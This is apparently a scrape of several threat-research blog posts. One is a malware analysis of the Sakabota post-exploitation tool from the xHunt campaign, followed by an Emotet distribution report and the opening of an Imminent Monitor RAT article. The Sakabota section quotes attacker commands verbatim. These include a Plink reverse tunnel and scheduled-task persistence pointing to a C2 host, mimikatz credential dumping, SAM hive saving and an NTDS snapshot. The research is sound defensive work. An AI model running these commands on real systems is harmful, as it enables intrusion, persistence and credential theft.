Hydra Provides an example command on how to run the thc-hydra tool to brute force an RDP login on a single IP address using text files with the username and password combinations.
Pass The Hash Provides two examples of arguments needed to pass-the-hash to run a command on a remote system using Mimikatz. The command in both examples use the psexec tool to run 'cmd.exe' on the remote system.
WMIC with Bat Provides an example windows management interface command (WMIC) with arguments to run a batch script ("c:\temp\a.bat") using the 'process call create' with supplied username and password.
Plink Provides example command-line commands to use Plink (PuTTY Link) to create an SSH tunnel between a remote system and the local system to allow the actor to remotely access the compromised system via remote desktop (RDP). The command instructs Plink to connect to the remote system, in the two examples were 'pasta58[.]com' and '176.9.235[.]101' over TCP port 25 and to authenticate to these remote systems using the username of 'bor' and the password '123321'. The example commands use 'svphost' as the application name, which is the same filename that Sakabota would use to install Plink to the system ("svphost.exe").
LSASS Process Provides five example commands that use ProcDump, Mimikatz and PowerSploit's Out-Minidump function to dump the 'lsass.exe' process memory. Two of the command specifically dump the contents to a file located at 'c:\mydump.dmp', while another saves the memory to a file named 'lsass.dmp'.
WDigest Provides the command line commands to use the 'reg' application to query and modify the WDigest registry key 'UseLogonCredential' that instructs Windows to store credentials in memory in cleartext or not. Setting this key to '0' is a suggested mitigation to Mimikatz credential dumping, which is likely why the cheat sheet provides the 'reg' command to set this key to '1' to enable it.
Powercat Provides example commands for both the client and the server to create a remote shell and transfer files using the powercat PowerShell tool. The remote systems that the commands would connect to are 'pasta58[.]com' and '213.202.217[.]31' over TCP port 443. This section also provides an example PowerShell command to download powercat from 'hxxp://pasta58[.]com/pk.txt' and to save the result to 'c:\users\public\pc.ps1' before creating a remote shell to 'pasta58[.]com'.
Ntds Provides example commands to save the 'Security Account Manager' (SAM) registry hive using the 'reg' application and Mimikatz's 'lsadump::sam' command. This section of the cheat sheet also includes login credentials to 'CMD5.org', which we believe the actor would use to crack hashes extracted from the registry dump files.
taskch Provides example commands to delete, create and run scheduled tasks. The scheduled tasks in the examples have the names 'WindowsUpdateTolkit' and 'WindowsUpdateTolkit_1' and would run 'SystemRecoverytolkit.ps1' and 'TempSystemRecovery.vbs', all but 'WindowsUpdateTolkit_1' were used to create persistence for CASHY200 payloads in xHunt related attacks.
Download from CMD Provides a PowerShell command to download a file from 'hxxp://pasta58[.]com/r.t' and save to 'c:\windows\temp\temp\run.bat'.
FTP Powershell Provides a PowerShell command that uploads a file 'C:\users\public\P.txt' to 'ftp://pasta58[.]com/P.txt' using the login username 'admin' and 'sak' as a password.
FTP From CMD Provides command line commands using echo to create a file named 'ftpcmd.dat' that contains the necessary commands to log into the FTP server at 'pasta58[.]com' using 'administrator' as the username and 'QwErTyUiOp123456' as the password to upload a file named 'TRR.txt'.
FireWall Provides six example commands to add, delete and show rules from the local Windows Firewall using the 'netsh' application. The example commands include the creation of rules to allow inbound network traffic to the Plink application saved to 'svphost.exe' discussed in the Plink section, as well as inbound traffic over TCP port 22.
RDP NLA Provides a PowerShell command that disables Network Level Authentication (NLA) for RDP. The command uses WMI to call the 'SetUserAuthenticationRequired' method to disable the 'UserAuthenticationRequired' property in 'Win32_TSGeneralSetting'. NLA requires the user to authenticate prior to the creation of an RDP session with a server, so we believe the actor would disable NLA to allow RDP sessions over the tunnel created with Plink.
RDP Port Provides example commands using the 'reg' application to query and add values to keys in 'hklm\system\currentControlSet\Control\Terminal Server'. The queries in the cheat sheet would allow the actor to view the port number that RDP uses and if the 'AllowTSConnections' setting is enabled to allow RDP sessions. The cheat sheet also has two 'reg' commands to add values to the registry keys 'AllowTSConnections' and 'fDenyTSConnections' to enable RDP sessions.
WinRAR Provides WinRAR command line commands to recursively archive folders. One of the examples outputs multi-volume RAR archives split into 153,600KB files.
DB Contains a variety of SQL queries related to navigating an unknown database. Based on the tables and column names, it appears that these queries attempt to extract customer information and call detail records (CDR), which is likely associated with telecommunications.
Get Users Provides the commands to run the Local.exe and Dsquery.exe tools to gather user information from a specified remote system or domain.
Scan For Provides three commands that use for loops to scan a local subnet (specifically a /24) to locate systems responding to ping requests, to check for file shares using the 'net use' application with 'administrator' as the username and 'P@ssw0rd' as the password and to check for systems whose 'C:' drive is shared using the 'dir' command.
Route Print This section was blank.
Scripting Provides two "scripts", one that reads locations from 'c:\test.txt' that it will iterate through and use as the argument to the 'ping' command, while the second pings "www.google.com" and checks the response for the string "Reply".
Base 64 Provides two commands that use the 'certutil' application and the '-encode' and '-decode' to convert 'test.exe' to 'test.txt' and vice versa.
Pantest Includes some Google search operators that the actor could likely use to find web servers of interest. The search operators include 'site' searches for '.sa', '.kw', '.ph' and '.ir', 'ext' for 'asp', 'aspx', 'php' and 'jsp', 'inurl' for 'login' and 'admin' and 'intext' for '---', 'Mysql_num_rows' and 'Apache/2.4.12 (Win32) OpenSSL/1.0.1m PHP/5.6.11'. The cheat sheet also provides several examples of SQL injection techniques with a ticular focus on XAMPP servers.

Table 1. Sections within Sakabota’s cheat sheet and a description of their contents

While the cheat sheet does not include a specific header, it does include example commands explaining how to use PowerShell to run Sharphound, which is the C# variant of the Bloodhound tool. Bloodhound is an open-source tool used to discover relationships between objects in an Active Directory environment. Many red teamers use Bloodhound to determine attack paths from a controlled asset on the breached network to their objective. The specific arguments in the example command instruct Bloodhound to use the following collection methods:

  • ACL - Collect ACL (Access Control List) data
  • ObjectProps - Collects node property information for users and computers
  • Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts

The inclusion of these commands in the cheat sheet suggests that the actors would also leverage Bloodhound for the same reason a red teamer would: specifically mapping out attack paths once they gain access to the network. These attack paths allow the adversary to determine what systems and accounts they should focus their efforts on to eventually gain access to the systems and accounts needed to achieve their objectives.

The cheat sheet also included the following domain and IP addresses of interest in the example commands that we associate with the threat actor’s infrastructure:

  • pasta58[.]com
  • 176.9.235[.]101
  • 213.202.217[.]31

The 213.202.217[.]31 IP address resolved the domain dl.kcc.com[.]kw that was used to host the delivery documents installing the CASHY200 payload in the July 2018 attacks discussed in our previous blog on xHunt. The 176.9.235[.]101 IP address was resolved to by pasta58[.]com, which is a known Sakabota C2 domain. We also observed this IP address and domain included as auto-complete entries within certain fields of Sakabota’s GUI (see Appendix), of which also included the IP address 23.227.207[.]233 also previously resolved to by pasta58[.]com. While this does not provide any new infrastructure, it strengthens our linkages between these entities within the infrastructure and their association with the threat actors involved.

Conclusion

While researching the tools associated with the xHunt campaign, we discovered testing activities carried out by a developer that is associated with this attack campaign. During this testing activity, we found a sample of Sakabota that contained a cheat sheet for the operators that provided significant insight into the tools, tactics, and techniques likely associated with these threat actors. We occasionally see malware developers including usage instructions within their tools to help an operator understand how to use various functionalities within the tool, but we’ve never seen a malware developer include a cheat sheet of example commands to assist the operator in carrying out the activities on the compromised system and network. Not only did this cheat sheet give us unprecedented insight into the tools and commands they would likely execute on the system, but it also provided references to network locations within their infrastructure.

Palo Alto Networks customers are protected from the tools mentioned in this blog through the following:

    • Customers using AutoFocus can view this activity by using the Sakabota tag
    • C2 domain pasta58[.]com is classified as malicious in Threat Prevention, DNS Security and URL Filtering.
    • All Sakabota samples identified are detected as malicious by WildFire and Traps.

Appendix

Indicators of Compromise

Sakabota Infrastructure

pasta58[.]com

176.9.235[.]101

213.202.217[.]31

23.227.207[.]233

Sakabota SHA256

7cfd75ab4822b489f74e83d3046536509c44b29b72b43125b0eca1fe449b5953

5b5f6869d8e7e5746cc9bec58694e4e0049aef0dcac5dfd595322607ba10e1ae

335e9eb0bb571ca81cc6829483f0b8d015627f8301373756d04d844cde04918d

40b18a1c06888f8e116b6de21f70359b9763b8066c764542ff3816c118b7d482

8e18b28dc7351b0e7928b0f5373a6e987ba6d084d84bfd0b29e7f458ca5401e5

ea31e5afec3b94635e98473183ec420e9c3e6fd13b618dadb5b34bf5c257a5aa

66e57d2909e37d39791bee91eb9e8121aa48ea89eae8a09275ae078e9dda2f50

2d7ff8d3aee31cd2f384d74e6b0f07ecda2cea860fb3210c9afe66bc7cc6f90b

df0f874219ffac8038290eb4a39ba6686edc35de8913563f8ddc9644ad4bde64

d0f57e566c6b457d6e97dc02266d67d81ef561fba50a86e9f9fc889dc5167068

d80aeb4fb326af0bf1179c4fcf2ad01cf98ddab81f709e690bbd728c027064e9

cc21bc11d9aed226e9c511480e54bb1305cea086ab0b5e310de68228debdc80e

bf7a448ef2603cce5488d97474c913ba14c9550d03cc5e387fe31eb416dc0259

161cfe70ea0022ef7aefffba93b3958ab09d7df6e61cc88d1c27e4917f554de4

224539e69c184d75ac59378ecab7914bcbe360310bb82add395d59e9e11d1419

b9c56da9e911dc85b06f8dc9d1a486663af8f982511e1c3ad568e635e2323274

9a431838f2613454c5630a5f186f0aee240dfc5723bd6e1b586bb4118cc3aab7

db1f460f624a4c13c3004899c5d0a4c3668ba99bb1e6be7f594e965c637b6917

b73facbf55053519b5da29397cfd3beea519e9f1bd41c50b6c2f3f1b4eca15a3

761635c23f3c98a8d18e48c767fff2b0ec321b58064b404ea1b2b4a555913296

47ca763da840fdee68b97e8d53cbc56b3f90e4d6532f0b1501b90175b8fca24f

Sakabota Tool

The Sakabota Tool allows threat actors involved with the xHunt campaign the ability to carry out post-exploitation activities, such as performing network reconnaissance, dumping credentials and interacting with discovered systems. Like other tools seen in the xHunt campaign, an actor can use the Sakabota tool from the command line or by interacting with its graphical user interface (GUI). We will discuss Sakabota’s functionality available from the command line and GUI, as the offered functionality differs dramatically. While we did not observe this activity, we speculate that the actor would use the command line interface to do initial data gathering after compromising a system and would use it to create a tunnel to establish an RDP session. After connecting to the system via RDP, we believe the actor would then use Sakabota’s GUI to take advantage of its increased capabilities.

Command Line Functionality

The actor can use Sakabota’s command-line interface by including any command-line arguments, otherwise, Sakabota will display its GUI instead of the command-line. The developer of Sakabota included usage instructions that actors can view by including the -help switch, as seen in Figure 2.

 

Figure 2. Sakabota’s command-line interface displaying usage instructions

The -Up command will upload a file or a folder’s files to the hardcoded C2 location of ftp://www.pasta58[.]com/<filename> using the FTP protocol and a username and password of Administrator and Mono8&^Uj.

The -Tanbo command writes an embedded NirCmd application by NirSoft to SC.exe in the current directory and uses this tool to take a screenshot of the system. The command will save the screenshot to the current directory named Screen_<computer name>_<username>.png. The -Tanbo-up command performs the same screenshot activity, but will upload the file to the C2 using FTP and the same credentials as the -Up command and delete the screenshot file from the system.

The -Shuriken and -Shuriken-v commands allow the actor to scan a remote system at 23.227.207[.]233 for open TCP ports, likely to determine the TCP ports allowed outbound from a stateful firewall. The ‘-Shuriken’ command will scan a list of TCP ports, specifically 123, 443, 80, 81, 23, 21, 22, 20, 110 and 25, while the -Shuriken-v command allows the actor to specify the TCP port to scan. The IP address 23.227.207[.]233 resolved to pasta58[.]com, which is the C2 domain used by this Sakabota sample.

The -Rev command saves an embedded PuTTY Link tool, also known as Plink to c:\users\public\svphost.exe and uses this tool and the following command-line arguments to create an SSH tunnel to allow the actor to create a remote RDP session on the system:

svphost pasta58[.]com -C -R 0.0.0.0:1991:127.0.0.1:3389 -l bor -pw 123321 -P <TCP port provided on command line>

The -Rev-loop command attempts to continually create an SSH tunnel to create a remote RDP session every ten minutes by creating a scheduled task named update.windows with the following command:

schtasks /create /sc minute /mo 10 /f /tr "cmd /c cd c:\users\public & echo y | svphost pasta58.com -C -R 0.0.0.0:1991:127.0.0.1:3389 -l bor -pw 123321 -P <TCP port provided on command line>" /tn update.windows /ru SYSTEM"

GUI Functionality

The Sakabota tool has more functionality available to the actor from its GUI. The developers of Sakabota wanted to restrict others from using their tool, so they added a password screen that requires the individual to enter a password before being able to use the functionality provided by Sakabota’s GUI. Figure 3 shows Sakabota’s password dialog, which has the title Snapping Tool and requires a password of 92, both of which are the same as the Gon tool discussed in the Appendix of our initial xHunt blog.

Figure 3. Password screen displayed when opening the Sakabota GUI

After entering the correct password, Sakbota displays its main interface, as seen in Figure 4. Sakabota’s main interface has a window title that begins with the string “Sakabota --->“ followed by system information, which includes the domain name, computer name, username, and if the system has Internet access. Much like the password screen, the window title is very similar in structure to the Gon tool, with the Gon tool’s window title starting with the string “xHunter --->” and Sakabota including the boolean for Internet connectivity.

Figure 4. Sakabota’s main interface

Sakabota’s main interface has a tabular design, with each tab containing different functionality. Common amongst all the tabs is the bottom portion of the interface, which has several buttons and additional system information, such as the system’s local IP address and the IP address for its DNS server, as well as the usernames currently logged into the system. This area also has several buttons that the actor can use to perform clean-up and self-destruct actions, as well as apply some generic settings. Table 2 provides a list of the buttons and a description of their functionality.

Button Description
Clear Tracks Cleans up actors activities by deleting registry keys used to store recent systems connected to via RDP ("Software\Microsoft\Terminal Server Client\Default"), recent applications run ("Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"), recent typed paths in Windows Explorer ("SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TYPEDPATHS") and recent search terms ("SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery").
RDP SC Enables CredSSP for RDP sessions to use the current credentials to authenticate to the remote system by writing enablecredsspsupport:i:0 to the Default.rdp file.
R Opens an explorer window with the results directory for scans and other commands.
Knoldege Displays a cheat sheet for the actor in text box directly next to the button.
# Enables/disables option called Personal Use that enables/disables an inactivity timer that Sakabota uses to hide its user interface to avoid detection.
@ Enables the RDP interrupt functionality that will close Sakabota and clean up the actors by running the same function as the Clear Tracks button, but also deletes the folder used to store command results and the Sakabota tool itself.
( Enables and disables Silent Mode, which if enabled will ask the user if they would like to save scanning results to a file in addition.
Hara-K Self-destruct mechanism, which will delete the Sakabota executable before exiting. Abbreviated ‘Harakiri’, which is a term for suicide in Japanese.

Table 2. Buttons at the bottom of Sakabota’s main interface

The ‘Info’ tab seen in Figure 4 has several capabilities specifically focused on gathering information from systems on the network. This tab allows the actor to use an embedded ‘dsquery’ tool (SHA256:
4c8c4e574b9d1dc05257a5c17203570ff6384d031c6e6284fbc0020fe63b719e)
to query Active Directory to gather information on computers, user and groups attached to the domain. This tab also allows the actor to scan IP addresses for specific services such as RDP, SMB, FTP, HTTP(s), telnet, and SSH. This tab also allows the actor to perform TCP port scan for systems on specified network ranges and connect to remote systems using the net use command. Lastly, the actor can install a legitimate Microsoft tool called Local.exe (SHA256: 450ebd66ba67bb46bf18d122823ff07ef4a7b11afe63b6f269aec9236a1790cd) and use this tool to list the administrator accounts on a specified IP address on the local network.

Sakabota’s remotes tab, seen in Figure 5, is dedicated to providing the actor the ability to interact with remote systems. First, this tab allows the actor to use Windows Management Instrumentation (WMI) to run commands on remote systems, in which the actor would provide the desired command in the ‘Code’ text box. The ‘Code’ text box contains auto-complete suggestions that provides us insight into some of the commands the developer expects the actor to run, such as gathering information on the user and network interfaces; however, the following commands within the auto-complete suggestions (with the exception of Whoami and query user) contain errors, such as missing spaces or added spaces or are not valid commands that would result in errors rather than running the application correctly:

Whoami
ipconfig/all
query user
net stat -na
Screen Shot

The ‘PSEXEC’ portion of this tab allows the actor to install an embedded PSExec tool to the system and use it to connect to a remote system using supplied credentials. The Remote button uses PSExec to launch a command prompt process on the remote system, while the Clean button attempts to kill the process running PSEXESVC.exe and delete this executable on the remote system. The PLink portion of the tab allows an actor to install an embedded PuTTY Link (PLink) tool (SHA256:
04e5f50dd90d5b88b745ef108c06a3ef1e297018cb3fe8acc80dd55250dfee68) to the system and use it to create an SSH tunnel between the system and an external server over TCP port 3389. We believe the actor uses this tunnel to connect to non-Internet facing systems using RDP. Sakabota uses the As_backdoor radio box to create a scheduled task named update.windows that attempts to create the tunnel every 20 minutes, whereas Sakabota uses the As_System rox to create a scheduled task named mytask that runs once at 12:00 AM. The actor would provide the location of their server in the Server IP box that Sakabota will use to create a tunnel to which the developer included the following locations within auto-complete options:

  • 176.9.235[.]101
  • pasta58[.]com

The ‘PASS THE HASH’ portion of the ‘Remotes’ tab suggests that the tool attempts to use the pass-the-hash technique to authenticate to a remote system, however, the tool does not have any functional code that uses these text boxes and the ‘Pass’ button does not have any event handling if its clicked.

Figure 5. Sakabota’s ‘Remotes’ tab

Sakabota’s Passwords tab, seen in Figure 6 has functionality dedicated to dumping credentials from the system. The ‘MIMI’ portion of this tab allows the actor to load a supplied mimikatz executable and execute it with the arguments ‘log privilege::debug sekurlsa::logonpasswords exit’. The ‘Digest’ button allows the actor to attempt to circumvent a Mimikatz mitigation by setting the following registry key to ‘1’, which instructs Windows to store credentials in memory:

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

The ‘SAM’ portion allows an actor to dump the SAM hive from the registry by using either the supplied Mimikatz tool with the arguments ‘log privilege::debug token::whoami token::elevate lsadump::sam exit’, or by running the following two command-line commands:

Reg save hklm\sam <supplied folder name>\sam
Reg save hklm\system <supplied folder name>\system

The ‘NTDS’ portion allows an actor to obtain a copy of a domain controller by creating an installation media using the ‘ntdsutil’ application. We have seen adversaries use this technique to create a clone of the domain controller that they exfiltrate for backup and offline processing purposes. The actor will select a folder to save the output and click the ‘SnapShot’ button that will run the following command to take a snapshot of the domain controller:

ntdsutil "activate instance ntds" ifm "create full <actor provided path>\ntds" quit quit

 

Figure 6. Sakabota’s ‘Passwords’ tab

The ‘File MNG’ tab seen in Figure 7 allows the actor to interact directly with the filesystem to create RAR archives of files and folders and to upload specific files to the C2 via FTP. The ‘RAR’ portion allows the actor to select a folder to archive its files by first saving an embedded ‘rar.exe’ (SHA256: ea139458b4e88736a3d48e81569178fd5c11156990b6a90e2d35f41b1ad9bac1) to the system as “R.exe” and runs ‘cd <Read text box> & R.exe a -r -v <Size text box> <Write text box>’. The ‘FTP’ portion of the tab allows the actor to select files from the system to upload to its C2 server hosted at ‘pasta58[.]com’ over FTP. Table 3 shows the functionality that the various radio and checkboxes enable if selected in the FTP section. The ‘B64’ section is meant to allow the actor to base64 encode and decode files on the system; however, it’s functionality does not seem to work appropriately. The dropdown has two options: ‘CERT’ and ‘STD’ with the former using the legitimate Microsoft ‘certutil’ application to encode or decode the file while the latter uses the ToBase64String and FromBase64String methods within the System.Convert class. Neither the ‘CERT’ and ‘STD’ options work correctly, with the ‘STD’ option having the same exact code used for the encode and decode buttons. The ‘STD’ method is quite interesting, as both the ‘Encode’ and ‘Decode’ buttons read the file contents and encode them by calling the ToBase64String method, but then immediately calls FromBase64String on the encoded contents, which effectively results in the cleartext of the file. We are unsure of the purpose of this functionality, as it appears to be a coding error made by the developer.

Checkbox Description
SYS Writes paths to selected files to 'List.txt' and creates a scheduled task named 'mytask' to run the Sakabota executable with the '-up-l List.txt'
CMD Creates a scheduled task named 'mytask' to run a batch script "c:\FOPO.bat" that saves FTP commands to 'ftpcmd.dat' to upload the selected files
NOR Normal FTP upload
KWF Abbreviation for “Kill When Finished”, which exits the Sakabota application after uploading the files
DEL Deletes the file after uploading

Table 3. Radio and Checkboxes and their functionality in the ‘FTP’ section of Sakabota

Figure 7. Sakabota’s ‘File MNG’ tab

Sakabota’s ‘Resources’ tab seen in Figure 8 has two buttons ‘Shell’ and ‘Agent’ that install a webshell and PowerShell backdoor, respectively.

Figure 8. Sakabota’s ‘Resources’ tab

The webshell is in the Sakabota binary within a resource named ‘Shell’ (SHA256:
b2fb0da6832e554194b59c817922770af13d474179a1c0381809676ef2709d24) and is meant for the actor to install on an IIS server running ASP.NET, as the webshell was written in C#. By clicking the button, Sakabota will write the embedded Shell to a filenamed ‘Shell.aspx’, which the actor would then have to move to an IIS directory. The webshell requires authentication before the actor to run commands and upload files to the web server. The authentication process involves checking the MD5 hash of the string in the ‘id’ parameter of the URL with a hardcoded MD5 hash ‘6242182812353019113116910419137224228’ in the webshell. This authentication process is flawed and cannot work, as the hardcoded MD5 hash is not valid as it contains 37 characters instead of 32, so the actor cannot authenticated to the shell and is therefore unusable in its current form. Figure 9 shows the webshell’s interface, which we had to remove the webshell’s authentication mechanism to display.

Figure 9. Interface of webshell embedded within Sakabota’s ‘Resources’ tab

When the actor clicks the Agent button, Sakabota saves an embedded executable from within a resource named svhost to svhost.exe. This executable (SHA256:
ffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9) installs a PowerShell based backdoor called CASHY200, which we covered in detail in a previous blog regarding the xHunt campaign.

The Web Browser tab seen in Figure 10 is rather interesting, as it does not have any buttons or the ability to actually browse the Internet. It is likely that this tab is an artifact of prior versions of Sakabota, but we are unsure why the developer would have removed the browsing functionality without removing the tab in its entirety.

Figure 10. Sakabota’s unsupported web browser tab

 

APAC’s Compromised Domains Fuel Emotet Campaign

Posted on by Vicky Ray

Executive Summary

Discovered in 2014, Emotet is one of the most prolific malware families, infecting computer systems globally through its mass campaigns of spam email that delivers malware (AKA malspam). These campaigns have been widely documented by many organizations, including how Emotet evolved from being a banking Trojan, to a malware loader with modular functionalities. The modular functionality of the malware allows the Emotet operators to install additional malware onto machines that are part of the Emotet botnet. The Emotet operators also provide their botnet as “Malware-as-a-Service” to other cyber-criminal gangs, who install their own malware of choice to the infected systems. For example, Emotet was recently used to deliver the Trickbot Trojan, which was then used to deliver the Ryuk ransomware.

Given Emotet’s destructive capability, incidents within enterprises have cost hundreds and thousands of dollars in recovery costs. The threat of an Emotet infection is significant and it is imperative to understand the Emotet operators’ modus operandi to better defend against it.

Our new research below reveals that despite the Emotet malspam campaigns going dark towards the end of May, a large number of vulnerable servers of small and mid-size enterprises (SMEs) across APAC (primarily Vietnam, India, Indonesia, Australia, China and Japan) are now being exploited by Emotet actors to distribute Emotet variants, primarily due to lack of updating and patching their web servers. Additionally, we found that the majority of these compromised domains are running the WordPress blogging software.

As we continue to notice SME’s websites being exploited at a high rate across APAC (also observed in other campaigns), and being leveraged as malware distribution servers, we were interested to look at the APAC regional numbers specifically for Emotet distribution. Narrowing down per regional country also helps in response efforts with associated national CERTs.

Emotet Campaign Overview

An important aspect to the overall Emotet campaign modus operandi, is the use of compromised legitimate domains to host and distribute the Emotet delivery docs and executables. Looking at the compromised domains, we note that the majority of the domains are SMEs with legitimate businesses. SME organizations often don’t update or patch their web servers, likely due to their limited resources. This allows cyber-criminals, like the Emotet actors, to exploit the server-side vulnerabilities and host the malicious Emotet variants that are then delivered via http links, embedded in the malspam campaigns.

Figure 1 below gives a high-level overview of how Emotet campaigns infect victim machines. The actors first scan the internet for vulnerable web-servers, which are then exploited and used to host the malicious Emotet variants. The actors then proceed with their email spam campaigns with legitimate-looking themes to lure victims to click on the attached URL that downloads the Emotet delivery document or executable from the compromised domain hosting the malware. In the case of Emotet delivery documents, it typically includes a macro that then downloads and executes the Emotet payload, infecting the victim’s machine. Whereas in other cases, Emotet executables are downloaded directly from the compromised domains and infect the victim’s machine to join the wider Emotet botnet.

Figure 1. Current depiction of Emotet delivery using distribution servers.

Return of Emotet

Our data indicates malspam and command and control (C2) activity for Emotet has been active as of September 16, 2019 after a three-and-a-half-month break. This has been confirmed by media reports through several other sources. While most of the reports published on Emotet’s malspam campaign gives a good understanding on the possible number of victims or victim geolocation, we would like to focus on the use of compromised legitimate domains. These are used as distribution servers for Emotet’s initial malicious document variants and try and give an understanding on which countries within APAC are largely impacted.

APAC Distribution Servers

 

Various criminal groups often use compromised servers from legitimate domains to distribute malware. This is a common tactic, because most networks from legitimate domains are less likely to be blocked by a targeted organization. Therefore, these Emotet Word documents and executable files are far more likely to reach a victim's host.

Looking at our datasets and extracting all APAC related domains involved in the spreading of Emotet malware since January 2019, we can see a clear increase in distribution servers used by the Emotet actors since early 2019. As mentioned above, the Emotet malspam campaigns went dark towards the end of May, but it is important to note from Figure 2 that the number of distribution servers used during the month of May was significantly higher than previous months, which may imply that the actors intended to grow their botnet and also possibly profit as much as possible before they took a break.

Figure 2 Emotet monthly distribution servers since January 2019

Drilling down to country-specific domains, we can discern some interesting insights into the most affected countries. As seen in Figure 3 below, the top affected countries are Vietnam, India, Indonesia, Australia, China and Japan, followed by several ASEAN nations.

Our data below reveals a large number of vulnerable servers across APAC are exploited by Emotet actors to distribute Emotet variants. This data also indicates that a large number of SME’s fail to perform best practices, like patching their systems on a regular basis, resulting in them being exploited and becoming a critical part of the overall success of the Emotet campaign.

Figure 3 Distribution servers by Country

It is important to note that the majority of the compromised domains are running the WordPress blogging software. A quick search for WordPress vulnerabilities on vulnerability tracker sites, like “CVE Details”, shows the high number of vulnerabilities that have been disclosed for WordPress. A similar search on “Exploit-DB” also shows the high number of exploits being published every month in the public domain, allowing anyone to reuse the exploits published. While the understanding of Emotet actors exploiting vulnerable WordPress sites is not new to the security community, it is important to stress and highlight this again to raise the awareness for organizations to patch their web applications as soon as possible and deter threat actors like the Emotet gang to take advantage of the vulnerabilities and avoid a more devastating impact.

Conclusion

While Emotet has been active for a number of years, their ongoing campaign numbers, modular platform, disruptive capability, related incidents and the associated recovery costs for organizations show that this is one of the most significant cyber threats of the current era. Our emphasis on the distribution servers across the APAC region on this blog was to gain visibility on regional, in-country numbers and also to streamline remediation efforts and raise awareness on how cybercriminals are taking advantage of vulnerable SME’s. We also set out to illustrate why it is imperative for SME’s to improve their cyber-hygiene on patching their respective web-servers and applications. We are concurrently working with respective, in-country national CERT teams to share the details on the affected compromised domains for possible remediation.

Palo Alto Networks customers are protected from this threat. Our threat prevention platform detects Emotet malware, with Wildfire while and simultaneously updating the  ‘malware’ category within the PAN-DB URL filtering solution for compromised domains it has identified.

AutoFocus users can track this activity using the Emotet tag.

IOCs:

https://github.com/pan-unit42/iocs/tree/master/emotet/sha256-hashes

 

Imminent Monitor – a RAT Down Under

Posted on by Unit 42

Overview

The availability of “commodity malware” – malware offered for sale – empowers a large population of criminals, who make up for their lack of technical sophistication with an abundance of malicious intent.

Rather than looking just at the malware samples and functionality themselves, we’ve taken an interest in the commodity malware ecosystem; especially into the malware authors who fundamentally empower and profit from it.

Our previous research into commodity Remote Access Tools (RATs) has assisted law enforcement efforts in prosecuting the authors and customers of malware including Orcus, LuminosityLink and Adwind. Our “SilverTerrier” research into the immensely prevalent West-African financial cybercrime has shown the tremendous popularity of commodity malware empowering the largest financial cybercrime threat at this time, and especially their evolution towards using commodity RATs in their attacks.

One example is of the actors behind the Orcus RAT, which are the subject of recent and ongoing legal action in Canada. This case continues to be prosecuted with vigor. Palo Alto Networks has collected more than 16,000 distinct samples of Orcus RAT since April 2016 through to publishing, and we have observed more than 46,000 unique attacks using this RAT against Palo Alto Networks customers.

We next focused on “Imminent Monitor,” a RAT offered for sale since 2012. In comparison to Orcus RAT, we have more than 65,000 samples of Imminent Monitor, and observed its use in more than 115,000 unique attacks against Palo Alto Networks customers. This total number of samples includes those shared between antivirus vendors, not just those directly detected by Palo Alto Networks customers. However, the observed attacks figure only reflects actual, in-the-wild samples from Palo Alto Networks customers. In most cases, repeated attacks using the same samples and/or blocked by signature detection will not be reflected in this figure, and so the actual total number of attack attempts will be much higher than reflected in this metric. With such prevalence, we had to wonder why the author of this malware has been allowed to continue to profit from this for almost seven years, unchecked.

In order to evaluate the potential of success of legal action against a malware author, some of the first questions we ask are who are they, and where are they? This fundamental intelligence will drive the interest and ability of law enforcement to prosecute and inform researchers to which agency they might refer to this case. In the case of Imminent Monitor, Unit 42’s referral and subsequent, ongoing cooperation helped initiate and drive international law enforcement action to proceed with charging those responsible for the development and management of this malware, their customers, and the disabling of access to their victims.

Shockwave™’s RAT

In 2012, a developer, “Shockwave™”, registered the domain imminentmethods[.]info, and in April 2013 started selling his “Imminent Monitor” RAT on online forums and at his site, which later changed to imminentmethods[.]net. Earlier in 2012, he had offered a Distributed Denial of Service (DDoS) tool, “Shockwave™Booter,” but seemed to drop that project in favor of his new RAT.

He proudly claimed “the fastest remote administration tool ever created using new socket technology that has never been used before.”

Figure 1. Imminent Monitor 1.0 Client Control Panel

The ImminentMonitor Client Control Panel offers a clean, easy-to-use interface to build (Figure 1) and control (Figure 2) ImminentMonitor client malware. As well as the full Remote Desktop access of any RAT, features less noticeable by the victim include:

  • File manager
  • Process manager
  • Window manager
  • Clipboard manager
  • Registry manager
  • Startup manager
  • Command prompt
  • TCP connection
  • Remote webcam monitoring
  • Remote microphone monitoring
  • Password recovery

Shockwave™ claimed: “We use new methods not used in any rat, the remote desktop has the potential to get around 60 fps, and the cam I have personally gotten 130 with this.”

In 2014, Imminent Monitor started supporting third-party plugins. The first of these offered the ability to turn the webcam light off while monitoring. Shockwave™ wrote: “Hey, good job on being the first to release a plugin for Imminent Monitor.” – a plugin with an obviously illegitimate intent.

Figure 2. Client control

The features of a(n il)legitimate Remote Access Tool

As very typical with commodity RATs, the authors attempt to profess innocence and distance themselves from the illegitimate features and intent of their malware:

“We at Imminent Methods are not responsible for the nature in which you use our services. The services sold on this website are for personal, not distributed, use and should only be used on your own machines or the machines of those who have given you expressed consent for remote management. Remember that our tools are made for educational purpose, so we do not take any responsiblity for any damage caused by any of or tools or services. Misuse of our tools or services can be very illegal. Certain misuse could cause possible jail time or fines, which differ depending on your local laws.” … “You agree that you will NOT distribute malicious files created with any of our services over the internet with the intent of harming/using machines of innocent people. You agree that if you do by some sort of means connect to a computer without authorization, by means of accident or other ways, that you will use the uninstall feature to completely remove the connection between the two of you and remove the software from their computer.” [Sic]

However, Shockwave™’s first-party comments online belie this claim:

“The keylogger: The logs are hidden, and encrypted, fast transfer of the logs aswell, with progress indicating how much of the log is downloaded”…
“The crypter: The crypter is really just a bonus feature, not always FUD but I try and do my best to keep it FUD.” [Sic]

Legitimate remote access tools don’t need to hide and encrypt their logs. A crypter, allowing a “Fully UnDetectable” (FUD) client, only has one purpose: to attempt to evade antivirus detection.

Later versions include “protection” to help avoid detection/removal, also not a feature expected of a legitimate, permissible remote access client (Figure 3).

Figure 3. "Protection" features

The most recent sales page for Imminent Monitor continued to profess legitimacy (Figure 4).

Figure 4. Imminent Monitor "About"

However, features remain that lend utility rather to illegitimate use, hiding the client and maintaining persistence (Figure 5).

Figure 5. "Protection" features

Shockwave™ promotes the RAT’s“protection” features:

“File Integration
